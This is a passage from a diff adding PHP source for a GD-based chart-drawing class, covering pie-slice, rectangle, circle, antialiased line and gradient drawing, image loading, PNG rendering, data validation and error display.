$Position[2]-$Position[0]; + $TextHeight = abs($Position[1])+abs($Position[3]); + + $TX = cos(($TAngle) * 3.14159265358979 / 180 ) * ($Radius + 10)+ $XPos; + + if ( $TAngle > 0 && $TAngle < 180 ) + $TY = sin(($TAngle) * 3.14159265358979 / 180 ) * ($SkewHeight + 10) + $YPos + $SpliceHeight + 4; + else + $TY = sin(($TAngle) * 3.14159265358979 / 180 ) * ($SkewHeight + 4) + $YPos - ($TextHeight/2); + + if ( $TAngle > 90 && $TAngle < 270 ) + $TX = $TX - $TextWidth; + + $C_TextColor = $this->AllocateColor($this->Picture,70,70,70); + imagettftext($this->Picture,$this->FontSize,0,$TX,$TY,$C_TextColor,$this->FontName,$Caption); + } + + /* Process pie slices */ + for($iAngle=$Angle;$iAngle<=$Angle+$Value*$SpliceRatio && $iAngle <= 360;$iAngle=$iAngle+.25) + { + $TopX = cos($iAngle * 3.14159265358979 / 180 ) * $Radius + $XPos; + $TopY = sin($iAngle * 3.14159265358979 / 180 ) * $SkewHeight + $YPos; + + $TopPlots[$Key][] = round($TopX); $BotPlots[$Key][] = round($TopX); + $TopPlots[$Key][] = round($TopY); $BotPlots[$Key][] = round($TopY + $SpliceHeight); + $aTopPlots[$Key][] = $TopX; $aBotPlots[$Key][] = $TopX; + $aTopPlots[$Key][] = $TopY; $aBotPlots[$Key][] = $TopY + $SpliceHeight; + } + + $TopPlots[$Key][] = round($XCenterPos2); $BotPlots[$Key][] = round($XCenterPos2); + $TopPlots[$Key][] = round($YCenterPos2); $BotPlots[$Key][] = round($YCenterPos2 + $SpliceHeight); + $aTopPlots[$Key][] = $XCenterPos2; $aBotPlots[$Key][] = $XCenterPos2; + $aTopPlots[$Key][] = $YCenterPos2; $aBotPlots[$Key][] = $YCenterPos2 + $SpliceHeight; + + $Angle = $iAngle + $SpliceDistanceRatio; + } + + /* Draw Bottom polygons */ + foreach($iValues as $Key => $Value) + { + $C_GraphLo = $this->AllocateColor($this->Picture,$this->Palette[$Key]["R"],$this->Palette[$Key]["G"],$this->Palette[$Key]["B"],-20); + imagefilledpolygon($this->Picture,$BotPlots[$Key],(count($BotPlots[$Key])+1)/2,$C_GraphLo); + + if ( $EnhanceColors ) { $En = -10; } else { $En = 0; } + + for($j=0;$j<=count($aBotPlots[$Key])-4;$j=$j+2) + $this->drawLine($aBotPlots[$Key][$j],$aBotPlots[$Key][$j+1],$aBotPlots[$Key][$j+2],$aBotPlots[$Key][$j+3],$this->Palette[$Key]["R"]+$En,$this->Palette[$Key]["G"]+$En,$this->Palette[$Key]["B"]+$En); + } + + /* Draw pie layers */ + if ( $EnhanceColors ) { $ColorRatio = 30 / $SpliceHeight; } else { $ColorRatio = 25 / $SpliceHeight; } + for($i=$SpliceHeight-1;$i>=1;$i--) + { + foreach($iValues as $Key => $Value) + { + $C_GraphLo = $this->AllocateColor($this->Picture,$this->Palette[$Key]["R"],$this->Palette[$Key]["G"],$this->Palette[$Key]["B"],-10); + $Plots = ""; $Plot = 0; + foreach($TopPlots[$Key] as $Key2 => $Value2) + { + $Plot++; + if ( $Plot % 2 == 1 ) + $Plots[] = $Value2; + else + $Plots[] = $Value2+$i; + } + imagefilledpolygon($this->Picture,$Plots,(count($Plots)+1)/2,$C_GraphLo); + + $Index = count($Plots); + if ($EnhanceColors ) {$ColorFactor = -20 + ($SpliceHeight - $i) * $ColorRatio; } else { $ColorFactor = 0; } + + $this->drawAntialiasPixel($Plots[0],$Plots[1],$this->Palette[$Key]["R"]+$ColorFactor,$this->Palette[$Key]["G"]+$ColorFactor,$this->Palette[$Key]["B"]+$ColorFactor); + $this->drawAntialiasPixel($Plots[2],$Plots[3],$this->Palette[$Key]["R"]+$ColorFactor,$this->Palette[$Key]["G"]+$ColorFactor,$this->Palette[$Key]["B"]+$ColorFactor); + $this->drawAntialiasPixel($Plots[$Index-4],$Plots[$Index-3],$this->Palette[$Key]["R"]+$ColorFactor,$this->Palette[$Key]["G"]+$ColorFactor,$this->Palette[$Key]["B"]+$ColorFactor); + } + } + + /* Draw Top polygons */ + for($Key=count($iValues)-1;$Key>=0;$Key--) + { + $C_GraphLo = $this->AllocateColor($this->Picture,$this->Palette[$Key]["R"],$this->Palette[$Key]["G"],$this->Palette[$Key]["B"]); + imagefilledpolygon($this->Picture,$TopPlots[$Key],(count($TopPlots[$Key])+1)/2,$C_GraphLo); + + if ( $EnhanceColors ) { $En = 10; } else { $En = 0; } + for($j=0;$j<=count($aTopPlots[$Key])-4;$j=$j+2) + $this->drawLine($aTopPlots[$Key][$j],$aTopPlots[$Key][$j+1],$aTopPlots[$Key][$j+2],$aTopPlots[$Key][$j+3],$this->Palette[$Key]["R"]+$En,$this->Palette[$Key]["G"]+$En,$this->Palette[$Key]["B"]+$En); + } + } + + /* This function can be used to set the background color */ + function drawBackground($R,$G,$B) + { + if ( $R < 0 ) { $R = 0; } if ( $R > 255 ) { $R = 255; } + if ( $G < 0 ) { $G = 0; } if ( $G > 255 ) { $G = 255; } + if ( $B < 0 ) { $B = 0; } if ( $B > 255 ) { $B = 255; } + + $C_Background = $this->AllocateColor($this->Picture,$R,$G,$B); + imagefilledrectangle($this->Picture,0,0,$this->XSize,$this->YSize,$C_Background); + } + + /* This function can be used to set the background color */ + function drawGraphAreaGradient($R,$G,$B,$Decay,$Target=TARGET_GRAPHAREA) + { + if ( $R < 0 ) { $R = 0; } if ( $R > 255 ) { $R = 255; } + if ( $G < 0 ) { $G = 0; } if ( $G > 255 ) { $G = 255; } + if ( $B < 0 ) { $B = 0; } if ( $B > 255 ) { $B = 255; } + + if ( $Target == TARGET_GRAPHAREA ) { $X1 = $this->GArea_X1+1; $X2 = $this->GArea_X2-1; $Y1 = $this->GArea_Y1+1; $Y2 = $this->GArea_Y2; } + if ( $Target == TARGET_BACKGROUND ) { $X1 = 0; $X2 = $this->XSize; $Y1 = 0; $Y2 = $this->YSize; } + + /* Positive gradient */ + if ( $Decay > 0 ) + { + $YStep = ($Y2 - $Y1 - 2) / $Decay; + for($i=0;$i<=$Decay;$i++) + { + $R-=1;$G-=1;$B-=1; + $Yi1 = $Y1 + ( $i * $YStep ); + $Yi2 = ceil( $Yi1 + ( $i * $YStep ) + $YStep ); + if ( $Yi2 >= $Yi2 ) { $Yi2 = $Y2-1; } + + $C_Background = $this->AllocateColor($this->Picture,$R,$G,$B); + imagefilledrectangle($this->Picture,$X1,$Yi1,$X2,$Yi2,$C_Background); + } + } + + /* Negative gradient */ + if ( $Decay < 0 ) + { + $YStep = ($Y2 - $Y1 - 2) / -$Decay; + $Yi1 = $Y1; $Yi2 = $Y1+$YStep; + for($i=-$Decay;$i>=0;$i--) + { + $R+=1;$G+=1;$B+=1; + $C_Background = $this->AllocateColor($this->Picture,$R,$G,$B); + imagefilledrectangle($this->Picture,$X1,$Yi1,$X2,$Yi2,$C_Background); + + $Yi1+= $YStep; + $Yi2+= $YStep; + if ( $Yi2 >= $Yi2 ) { $Yi2 = $Y2-1; } + } + } + } + + /* This function create a rectangle with antialias */ + function drawRectangle($X1,$Y1,$X2,$Y2,$R,$G,$B) + { + if ( $R < 0 ) { $R = 0; } if ( $R > 255 ) { $R = 255; } + if ( $G < 0 ) { $G = 0; } if ( $G > 255 ) { $G = 255; } + if ( $B < 0 ) { $B = 0; } if ( $B > 255 ) { $B = 255; } + + $C_Rectangle = $this->AllocateColor($this->Picture,$R,$G,$B); + + $X1=$X1-.2;$Y1=$Y1-.2; + $X2=$X2+.2;$Y2=$Y2+.2; + $this->drawLine($X1,$Y1,$X2,$Y1,$R,$G,$B); + $this->drawLine($X2,$Y1,$X2,$Y2,$R,$G,$B); + $this->drawLine($X2,$Y2,$X1,$Y2,$R,$G,$B); + $this->drawLine($X1,$Y2,$X1,$Y1,$R,$G,$B); + } + + /* This function create a filled rectangle with antialias */ + function drawFilledRectangle($X1,$Y1,$X2,$Y2,$R,$G,$B,$DrawBorder=TRUE,$Alpha=100,$NoFallBack=FALSE) + { + if ( $X2 < $X1 ) { list($X1, $X2) = array($X2, $X1); } + if ( $Y2 < $Y1 ) { list($Y1, $Y2) = array($Y2, $Y1); } + + if ( $R < 0 ) { $R = 0; } if ( $R > 255 ) { $R = 255; } + if ( $G < 0 ) { $G = 0; } if ( $G > 255 ) { $G = 255; } + if ( $B < 0 ) { $B = 0; } if ( $B > 255 ) { $B = 255; } + + if ( $Alpha == 100 ) + { + /* Process shadows */ + if ( $this->ShadowActive && !$NoFallBack ) + { + $this->drawFilledRectangle($X1+$this->ShadowXDistance,$Y1+$this->ShadowYDistance,$X2+$this->ShadowXDistance,$Y2+$this->ShadowYDistance,$this->ShadowRColor,$this->ShadowGColor,$this->ShadowBColor,FALSE,$this->ShadowAlpha,TRUE); + if ( $this->ShadowBlur != 0 ) + { + $AlphaDecay = ($this->ShadowAlpha / $this->ShadowBlur); + + for($i=1; $i<=$this->ShadowBlur; $i++) + $this->drawFilledRectangle($X1+$this->ShadowXDistance-$i/2,$Y1+$this->ShadowYDistance-$i/2,$X2+$this->ShadowXDistance-$i/2,$Y2+$this->ShadowYDistance-$i/2,$this->ShadowRColor,$this->ShadowGColor,$this->ShadowBColor,FALSE,$this->ShadowAlpha-$AlphaDecay*$i,TRUE); + for($i=1; $i<=$this->ShadowBlur; $i++) + $this->drawFilledRectangle($X1+$this->ShadowXDistance+$i/2,$Y1+$this->ShadowYDistance+$i/2,$X2+$this->ShadowXDistance+$i/2,$Y2+$this->ShadowYDistance+$i/2,$this->ShadowRColor,$this->ShadowGColor,$this->ShadowBColor,FALSE,$this->ShadowAlpha-$AlphaDecay*$i,TRUE); + } + } + + $C_Rectangle = $this->AllocateColor($this->Picture,$R,$G,$B); + imagefilledrectangle($this->Picture,round($X1),round($Y1),round($X2),round($Y2),$C_Rectangle); + } + else + { + $LayerWidth = abs($X2-$X1)+2; + $LayerHeight = abs($Y2-$Y1)+2; + + $this->Layers[0] = imagecreatetruecolor($LayerWidth,$LayerHeight); + $C_White = $this->AllocateColor($this->Layers[0],255,255,255); + imagefilledrectangle($this->Layers[0],0,0,$LayerWidth,$LayerHeight,$C_White); + imagecolortransparent($this->Layers[0],$C_White); + + $C_Rectangle = $this->AllocateColor($this->Layers[0],$R,$G,$B); + imagefilledrectangle($this->Layers[0],round(1),round(1),round($LayerWidth-1),round($LayerHeight-1),$C_Rectangle); + + imagecopymerge($this->Picture,$this->Layers[0],round(min($X1,$X2)-1),round(min($Y1,$Y2)-1),0,0,$LayerWidth,$LayerHeight,$Alpha); + imagedestroy($this->Layers[0]); + } + + if ( $DrawBorder ) + { + $ShadowSettings = $this->ShadowActive; $this->ShadowActive = FALSE; + $this->drawRectangle($X1,$Y1,$X2,$Y2,$R,$G,$B); + $this->ShadowActive = $ShadowSettings; + } + } + + /* This function create a rectangle with rounded corners and antialias */ + function drawRoundedRectangle($X1,$Y1,$X2,$Y2,$Radius,$R,$G,$B) + { + if ( $R < 0 ) { $R = 0; } if ( $R > 255 ) { $R = 255; } + if ( $G < 0 ) { $G = 0; } if ( $G > 255 ) { $G = 255; } + if ( $B < 0 ) { $B = 0; } if ( $B > 255 ) { $B = 255; } + + $C_Rectangle = $this->AllocateColor($this->Picture,$R,$G,$B); + + $Step = 90 / ((3.14159265358979 * $Radius)/2); + + for($i=0;$i<=90;$i=$i+$Step) + { + $X = cos(($i+180)*3.14159265358979/180) * $Radius + $X1 + $Radius; + $Y = sin(($i+180)*3.14159265358979/180) * $Radius + $Y1 + $Radius; + $this->drawAntialiasPixel($X,$Y,$R,$G,$B); + + $X = cos(($i-90)*3.14159265358979/180) * $Radius + $X2 - $Radius; + $Y = sin(($i-90)*3.14159265358979/180) * $Radius + $Y1 + $Radius; + $this->drawAntialiasPixel($X,$Y,$R,$G,$B); + + $X = cos(($i)*3.14159265358979/180) * $Radius + $X2 - $Radius; + $Y = sin(($i)*3.14159265358979/180) * $Radius + $Y2 - $Radius; + $this->drawAntialiasPixel($X,$Y,$R,$G,$B); + + $X = cos(($i+90)*3.14159265358979/180) * $Radius + $X1 + $Radius; + $Y = sin(($i+90)*3.14159265358979/180) * $Radius + $Y2 - $Radius; + $this->drawAntialiasPixel($X,$Y,$R,$G,$B); + } + + $X1=$X1-.2;$Y1=$Y1-.2; + $X2=$X2+.2;$Y2=$Y2+.2; + $this->drawLine($X1+$Radius,$Y1,$X2-$Radius,$Y1,$R,$G,$B); + $this->drawLine($X2,$Y1+$Radius,$X2,$Y2-$Radius,$R,$G,$B); + $this->drawLine($X2-$Radius,$Y2,$X1+$Radius,$Y2,$R,$G,$B); + $this->drawLine($X1,$Y2-$Radius,$X1,$Y1+$Radius,$R,$G,$B); + } + + /* This function create a filled rectangle with rounded corners and antialias */ + function drawFilledRoundedRectangle($X1,$Y1,$X2,$Y2,$Radius,$R,$G,$B) + { + if ( $R < 0 ) { $R = 0; } if ( $R > 255 ) { $R = 255; } + if ( $G < 0 ) { $G = 0; } if ( $G > 255 ) { $G = 255; } + if ( $B < 0 ) { $B = 0; } if ( $B > 255 ) { $B = 255; } + + $C_Rectangle = $this->AllocateColor($this->Picture,$R,$G,$B); + + $Step = 90 / ((3.14159265358979 * $Radius)/2); + + for($i=0;$i<=90;$i=$i+$Step) + { + $Xi1 = cos(($i+180)*3.14159265358979/180) * $Radius + $X1 + $Radius; + $Yi1 = sin(($i+180)*3.14159265358979/180) * $Radius + $Y1 + $Radius; + + $Xi2 = cos(($i-90)*3.14159265358979/180) * $Radius + $X2 - $Radius; + $Yi2 = sin(($i-90)*3.14159265358979/180) * $Radius + $Y1 + $Radius; + + $Xi3 = cos(($i)*3.14159265358979/180) * $Radius + $X2 - $Radius; + $Yi3 = sin(($i)*3.14159265358979/180) * $Radius + $Y2 - $Radius; + + $Xi4 = cos(($i+90)*3.14159265358979/180) * $Radius + $X1 + $Radius; + $Yi4 = sin(($i+90)*3.14159265358979/180) * $Radius + $Y2 - $Radius; + + imageline($this->Picture,$Xi1,$Yi1,$X1+$Radius,$Yi1,$C_Rectangle); + imageline($this->Picture,$X2-$Radius,$Yi2,$Xi2,$Yi2,$C_Rectangle); + imageline($this->Picture,$X2-$Radius,$Yi3,$Xi3,$Yi3,$C_Rectangle); + imageline($this->Picture,$Xi4,$Yi4,$X1+$Radius,$Yi4,$C_Rectangle); + + $this->drawAntialiasPixel($Xi1,$Yi1,$R,$G,$B); + $this->drawAntialiasPixel($Xi2,$Yi2,$R,$G,$B); + $this->drawAntialiasPixel($Xi3,$Yi3,$R,$G,$B); + $this->drawAntialiasPixel($Xi4,$Yi4,$R,$G,$B); + } + + imagefilledrectangle($this->Picture,$X1,$Y1+$Radius,$X2,$Y2-$Radius,$C_Rectangle); + imagefilledrectangle($this->Picture,$X1+$Radius,$Y1,$X2-$Radius,$Y2,$C_Rectangle); + + $X1=$X1-.2;$Y1=$Y1-.2; + $X2=$X2+.2;$Y2=$Y2+.2; + $this->drawLine($X1+$Radius,$Y1,$X2-$Radius,$Y1,$R,$G,$B); + $this->drawLine($X2,$Y1+$Radius,$X2,$Y2-$Radius,$R,$G,$B); + $this->drawLine($X2-$Radius,$Y2,$X1+$Radius,$Y2,$R,$G,$B); + $this->drawLine($X1,$Y2-$Radius,$X1,$Y1+$Radius,$R,$G,$B); + } + + /* This function create a circle with antialias */ + function drawCircle($Xc,$Yc,$Height,$R,$G,$B,$Width=0) + { + if ( $Width == 0 ) { $Width = $Height; } + if ( $R < 0 ) { $R = 0; } if ( $R > 255 ) { $R = 255; } + if ( $G < 0 ) { $G = 0; } if ( $G > 255 ) { $G = 255; } + if ( $B < 0 ) { $B = 0; } if ( $B > 255 ) { $B = 255; } + + $C_Circle = $this->AllocateColor($this->Picture,$R,$G,$B); + $Step = 360 / (2 * 3.14159265358979 * max($Width,$Height)); + + for($i=0;$i<=360;$i=$i+$Step) + { + $X = cos($i*3.14159265358979/180) * $Height + $Xc; + $Y = sin($i*3.14159265358979/180) * $Width + $Yc; + $this->drawAntialiasPixel($X,$Y,$R,$G,$B); + } + } + + /* This function create a filled circle/ellipse with antialias */ + function drawFilledCircle($Xc,$Yc,$Height,$R,$G,$B,$Width=0) + { + if ( $Width == 0 ) { $Width = $Height; } + if ( $R < 0 ) { $R = 0; } if ( $R > 255 ) { $R = 255; } + if ( $G < 0 ) { $G = 0; } if ( $G > 255 ) { $G = 255; } + if ( $B < 0 ) { $B = 0; } if ( $B > 255 ) { $B = 255; } + + $C_Circle = $this->AllocateColor($this->Picture,$R,$G,$B); + $Step = 360 / (2 * 3.14159265358979 * max($Width,$Height)); + + for($i=90;$i<=270;$i=$i+$Step) + { + $X1 = cos($i*3.14159265358979/180) * $Height + $Xc; + $Y1 = sin($i*3.14159265358979/180) * $Width + $Yc; + $X2 = cos((180-$i)*3.14159265358979/180) * $Height + $Xc; + $Y2 = sin((180-$i)*3.14159265358979/180) * $Width + $Yc; + + $this->drawAntialiasPixel($X1-1,$Y1-1,$R,$G,$B); + $this->drawAntialiasPixel($X2-1,$Y2-1,$R,$G,$B); + + if ( ($Y1-1) > $Yc - max($Width,$Height) ) + imageline($this->Picture,$X1,$Y1-1,$X2-1,$Y2-1,$C_Circle); + } + } + + /* This function will draw a filled ellipse */ + function drawEllipse($Xc,$Yc,$Height,$Width,$R,$G,$B) + { $this->drawCircle($Xc,$Yc,$Height,$R,$G,$B,$Width); } + + /* This function will draw an ellipse */ + function drawFilledEllipse($Xc,$Yc,$Height,$Width,$R,$G,$B) + { $this->drawFilledCircle($Xc,$Yc,$Height,$R,$G,$B,$Width); } + + /* This function create a line with antialias */ + function drawLine($X1,$Y1,$X2,$Y2,$R,$G,$B,$GraphFunction=FALSE) + { + if ( $this->LineDotSize > 1 ) { $this->drawDottedLine($X1,$Y1,$X2,$Y2,$this->LineDotSize,$R,$G,$B,$GraphFunction); return(0); } + if ( $R < 0 ) { $R = 0; } if ( $R > 255 ) { $R = 255; } + if ( $G < 0 ) { $G = 0; } if ( $G > 255 ) { $G = 255; } + if ( $B < 0 ) { $B = 0; } if ( $B > 255 ) { $B = 255; } + + $Distance = sqrt(($X2-$X1)*($X2-$X1)+($Y2-$Y1)*($Y2-$Y1)); + if ( $Distance == 0 ) + return(-1); + $XStep = ($X2-$X1) / $Distance; + $YStep = ($Y2-$Y1) / $Distance; + + for($i=0;$i<=$Distance;$i++) + { + $X = $i * $XStep + $X1; + $Y = $i * $YStep + $Y1; + + if ( ($X >= $this->GArea_X1 && $X <= $this->GArea_X2 && $Y >= $this->GArea_Y1 && $Y <= $this->GArea_Y2) || !$GraphFunction ) + { + if ( $this->LineWidth == 1 ) + $this->drawAntialiasPixel($X,$Y,$R,$G,$B); + else + { + $StartOffset = -($this->LineWidth/2); $EndOffset = ($this->LineWidth/2); + for($j=$StartOffset;$j<=$EndOffset;$j++) + $this->drawAntialiasPixel($X+$j,$Y+$j,$R,$G,$B); + } + } + } + } + + /* This function create a line with antialias */ + function drawDottedLine($X1,$Y1,$X2,$Y2,$DotSize,$R,$G,$B,$GraphFunction=FALSE) + { + if ( $R < 0 ) { $R = 0; } if ( $R > 255 ) { $R = 255; } + if ( $G < 0 ) { $G = 0; } if ( $G > 255 ) { $G = 255; } + if ( $B < 0 ) { $B = 0; } if ( $B > 255 ) { $B = 255; } + + $Distance = sqrt(($X2-$X1)*($X2-$X1)+($Y2-$Y1)*($Y2-$Y1)); + + $XStep = ($X2-$X1) / $Distance; + $YStep = ($Y2-$Y1) / $Distance; + + $DotIndex = 0; + for($i=0;$i<=$Distance;$i++) + { + $X = $i * $XStep + $X1; + $Y = $i * $YStep + $Y1; + + if ( $DotIndex <= $DotSize) + { + if ( ($X >= $this->GArea_X1 && $X <= $this->GArea_X2 && $Y >= $this->GArea_Y1 && $Y <= $this->GArea_Y2) || !$GraphFunction ) + { + if ( $this->LineWidth == 1 ) + $this->drawAntialiasPixel($X,$Y,$R,$G,$B); + else + { + $StartOffset = -($this->LineWidth/2); $EndOffset = ($this->LineWidth/2); + for($j=$StartOffset;$j<=$EndOffset;$j++) + $this->drawAntialiasPixel($X+$j,$Y+$j,$R,$G,$B); + } + } + } + + $DotIndex++; + if ( $DotIndex == $DotSize * 2 ) + $DotIndex = 0; + } + } + + /* Load a PNG file and draw it over the chart */ + function drawFromPNG($FileName,$X,$Y,$Alpha=100) + { $this->drawFromPicture(1,$FileName,$X,$Y,$Alpha); } + + /* Load a GIF file and draw it over the chart */ + function drawFromGIF($FileName,$X,$Y,$Alpha=100) + { $this->drawFromPicture(2,$FileName,$X,$Y,$Alpha); } + + /* Load a JPEG file and draw it over the chart */ + function drawFromJPG($FileName,$X,$Y,$Alpha=100) + { $this->drawFromPicture(3,$FileName,$X,$Y,$Alpha); } + + /* Generic loader function for external pictures */ + function drawFromPicture($PicType,$FileName,$X,$Y,$Alpha=100) + { + if ( file_exists($FileName)) + { + $Infos = getimagesize($FileName); + $Width = $Infos[0]; + $Height = $Infos[1]; + if ( $PicType == 1 ) { $Raster = imagecreatefrompng($FileName); } + if ( $PicType == 2 ) { $Raster = imagecreatefromgif($FileName); } + if ( $PicType == 3 ) { $Raster = imagecreatefromjpeg($FileName); } + + imagecopymerge($this->Picture,$Raster,$X,$Y,0,0,$Width,$Height,$Alpha); + imagedestroy($Raster); + } + } + + /* Draw an alpha pixel */ + function drawAlphaPixel($X,$Y,$Alpha,$R,$G,$B) + { + if ( $R < 0 ) { $R = 0; } if ( $R > 255 ) { $R = 255; } + if ( $G < 0 ) { $G = 0; } if ( $G > 255 ) { $G = 255; } + if ( $B < 0 ) { $B = 0; } if ( $B > 255 ) { $B = 255; } + + if ( $X < 0 || $Y < 0 || $X >= $this->XSize || $Y >= $this->YSize ) + return(-1); + + $RGB2 = imagecolorat($this->Picture, $X, $Y); + $R2 = ($RGB2 >> 16) & 0xFF; + $G2 = ($RGB2 >> 8) & 0xFF; + $B2 = $RGB2 & 0xFF; + + $iAlpha = (100 - $Alpha)/100; + $Alpha = $Alpha / 100; + + $Ra = floor($R*$Alpha+$R2*$iAlpha); + $Ga = floor($G*$Alpha+$G2*$iAlpha); + $Ba = floor($B*$Alpha+$B2*$iAlpha); + + $C_Aliased = $this->AllocateColor($this->Picture,$Ra,$Ga,$Ba); + imagesetpixel($this->Picture,$X,$Y,$C_Aliased); + } + + /* Color helper */ + function AllocateColor($Picture,$R,$G,$B,$Factor=0) + { + $R = $R + $Factor; + $G = $G + $Factor; + $B = $B + $Factor; + if ( $R < 0 ) { $R = 0; } if ( $R > 255 ) { $R = 255; } + if ( $G < 0 ) { $G = 0; } if ( $G > 255 ) { $G = 255; } + if ( $B < 0 ) { $B = 0; } if ( $B > 255 ) { $B = 255; } + + return(imagecolorallocate($Picture,$R,$G,$B)); + } + + /* Add a border to the picture */ + function addBorder($Size=3,$R=0,$G=0,$B=0) + { + $Width = $this->XSize+2*$Size; + $Height = $this->YSize+2*$Size; + + $Resampled = imagecreatetruecolor($Width,$Height); + $C_Background = $this->AllocateColor($Resampled,$R,$G,$B); + imagefilledrectangle($Resampled,0,0,$Width,$Height,$C_Background); + + imagecopy($Resampled,$this->Picture,$Size,$Size,0,0,$this->XSize,$this->YSize); + imagedestroy($this->Picture); + + $this->XSize = $Width; + $this->YSize = $Height; + + $this->Picture = imagecreatetruecolor($this->XSize,$this->YSize); + $C_White = $this->AllocateColor($this->Picture,255,255,255); + imagefilledrectangle($this->Picture,0,0,$this->XSize,$this->YSize,$C_White); + imagecolortransparent($this->Picture,$C_White); + imagecopy($this->Picture,$Resampled,0,0,0,0,$this->XSize,$this->YSize); + } + + /* Render the current picture to a file */ + function Render($FileName) + { + if ( $this->ErrorReporting ) + $this->printErrors($this->ErrorInterface); + + /* Save image map if requested */ + if ( $this->BuildMap ) + $this->SaveImageMap(); + + imagepng($this->Picture,$FileName); + } + + /* Render the current picture to STDOUT */ + function Stroke() + { + if ( $this->ErrorReporting ) + $this->printErrors("GD"); + + /* Save image map if requested */ + if ( $this->BuildMap ) + $this->SaveImageMap(); + + header('Content-type: image/png'); + imagepng($this->Picture); + } + + /* Private functions for internal processing */ + function drawAntialiasPixel($X,$Y,$R,$G,$B,$Alpha=100,$NoFallBack=FALSE) + { + /* Process shadows */ + if ( $this->ShadowActive && !$NoFallBack ) + { + $this->drawAntialiasPixel($X+$this->ShadowXDistance,$Y+$this->ShadowYDistance,$this->ShadowRColor,$this->ShadowGColor,$this->ShadowBColor,$this->ShadowAlpha,TRUE); + if ( $this->ShadowBlur != 0 ) + { + $AlphaDecay = ($this->ShadowAlpha / $this->ShadowBlur); + + for($i=1; $i<=$this->ShadowBlur; $i++) + $this->drawAntialiasPixel($X+$this->ShadowXDistance-$i/2,$Y+$this->ShadowYDistance-$i/2,$this->ShadowRColor,$this->ShadowGColor,$this->ShadowBColor,$this->ShadowAlpha-$AlphaDecay*$i,TRUE); + for($i=1; $i<=$this->ShadowBlur; $i++) + $this->drawAntialiasPixel($X+$this->ShadowXDistance+$i/2,$Y+$this->ShadowYDistance+$i/2,$this->ShadowRColor,$this->ShadowGColor,$this->ShadowBColor,$this->ShadowAlpha-$AlphaDecay*$i,TRUE); + } + } + + if ( $R < 0 ) { $R = 0; } if ( $R > 255 ) { $R = 255; } + if ( $G < 0 ) { $G = 0; } if ( $G > 255 ) { $G = 255; } + if ( $B < 0 ) { $B = 0; } if ( $B > 255 ) { $B = 255; } + + $Plot = ""; + $Xi = floor($X); + $Yi = floor($Y); + + if ( $Xi == $X && $Yi == $Y) + { + if ( $Alpha == 100 ) + { + $C_Aliased = $this->AllocateColor($this->Picture,$R,$G,$B); + imagesetpixel($this->Picture,$X,$Y,$C_Aliased); + } + else + $this->drawAlphaPixel($X,$Y,$Alpha,$R,$G,$B); + } + else + { + $Alpha1 = (((1 - ($X - floor($X))) * (1 - ($Y - floor($Y))) * 100) / 100) * $Alpha; + if ( $Alpha1 > $this->AntialiasQuality ) { $this->drawAlphaPixel($Xi,$Yi,$Alpha1,$R,$G,$B); } + + $Alpha2 = ((($X - floor($X)) * (1 - ($Y - floor($Y))) * 100) / 100) * $Alpha; + if ( $Alpha2 > $this->AntialiasQuality ) { $this->drawAlphaPixel($Xi+1,$Yi,$Alpha2,$R,$G,$B); } + + $Alpha3 = (((1 - ($X - floor($X))) * ($Y - floor($Y)) * 100) / 100) * $Alpha; + if ( $Alpha3 > $this->AntialiasQuality ) { $this->drawAlphaPixel($Xi,$Yi+1,$Alpha3,$R,$G,$B); } + + $Alpha4 = ((($X - floor($X)) * ($Y - floor($Y)) * 100) / 100) * $Alpha; + if ( $Alpha4 > $this->AntialiasQuality ) { $this->drawAlphaPixel($Xi+1,$Yi+1,$Alpha4,$R,$G,$B); } + } + } + + /* Validate data contained in the description array */ + function validateDataDescription($FunctionName,&$DataDescription,$DescriptionRequired=TRUE) + { + if (!isset($DataDescription["Position"])) + { + $this->Errors[] = "[Warning] ".$FunctionName." - Y Labels are not set."; + $DataDescription["Position"] = "Name"; + } + + if ( $DescriptionRequired ) + { + if (!isset($DataDescription["Description"])) + { + $this->Errors[] = "[Warning] ".$FunctionName." - Series descriptions are not set."; + foreach($DataDescription["Values"] as $key => $Value) + { + $DataDescription["Description"][$Value] = $Value; + } + } + + if (count($DataDescription["Description"]) < count($DataDescription["Values"])) + { + $this->Errors[] = "[Warning] ".$FunctionName." - Some series descriptions are not set."; + foreach($DataDescription["Values"] as $key => $Value) + { + if ( !isset($DataDescription["Description"][$Value])) + $DataDescription["Description"][$Value] = $Value; + } + } + } + } + + /* Validate data contained in the data array */ + function validateData($FunctionName,&$Data) + { + $DataSummary = array(); + + foreach($Data as $key => $Values) + { + foreach($Values as $key2 => $Value) + { + if (!isset($DataSummary[$key2])) + $DataSummary[$key2] = 1; + else + $DataSummary[$key2]++; + } + } + + if ( max($DataSummary) == 0 ) + $this->Errors[] = "[Warning] ".$FunctionName." - No data set."; + + foreach($DataSummary as $key => $Value) + { + if ($Value < max($DataSummary)) + { + $this->Errors[] = "[Warning] ".$FunctionName." - Missing data in serie ".$key."."; + } + } + } + + /* Print all error messages on the CLI or graphically */ + function printErrors($Mode="CLI") + { + if (count($this->Errors) == 0) + return(0); + + if ( $Mode == "CLI" ) + { + foreach($this->Errors as $key => $Value) + echo $Value."\r\n"; + } + elseif ( $Mode == "GD" ) + { + $this->setLineStyle($Width=1); + $MaxWidth = 0; + foreach($this->Errors as $key => $Value) + { + $Position = imageftbbox($this->ErrorFontSize,0,$this->ErrorFontName,$Value); + $TextWidth = $Position[2]-$Position[0]; + if ( $TextWidth > $MaxWidth ) { $MaxWidth = $TextWidth; } + } + $this->drawFilledRoundedRectangle($this->XSize-($MaxWidth+20),$this->YSize-(20+(($this->ErrorFontSize+4)*count($this->Errors))),$this->XSize-10,$this->YSize-10,6,233,185,185); + $this->drawRoundedRectangle($this->XSize-($MaxWidth+20),$this->YSize-(20+(($this->ErrorFontSize+4)*count($this->Errors))),$this->XSize-10,$this->YSize-10,6,193,145,145); + + $C_TextColor = $this->AllocateColor($this->Picture,133,85,85); + $YPos = $this->YSize - (18 + (count($this->Errors)-1) * ($this->ErrorFontSize + 4)); + foreach($this->Errors as $key => $Value) + { + imagettftext($this->Picture,$this->ErrorFontSize,0,$this->XSize-($MaxWidth+15),$YPos,$C_TextColor,$this->ErrorFontName,$Value); + $YPos = $YPos + ($this->ErrorFontSize + 4); + } + } + } + + /* Activate the image map creation process */ + function setImageMap($Mode=TRUE,$GraphID="MyGraph") + { + $this->BuildMap = $Mode; + $this->MapID = $GraphID; + } + + /* Add a box into the image map */ + function addToImageMap($X1,$Y1,$X2,$Y2,$SerieName,$Value,$CallerFunction) + { + if ( $this->MapFunction == NULL || $this->MapFunction == $CallerFunction ) + { + $this->ImageMap[] = 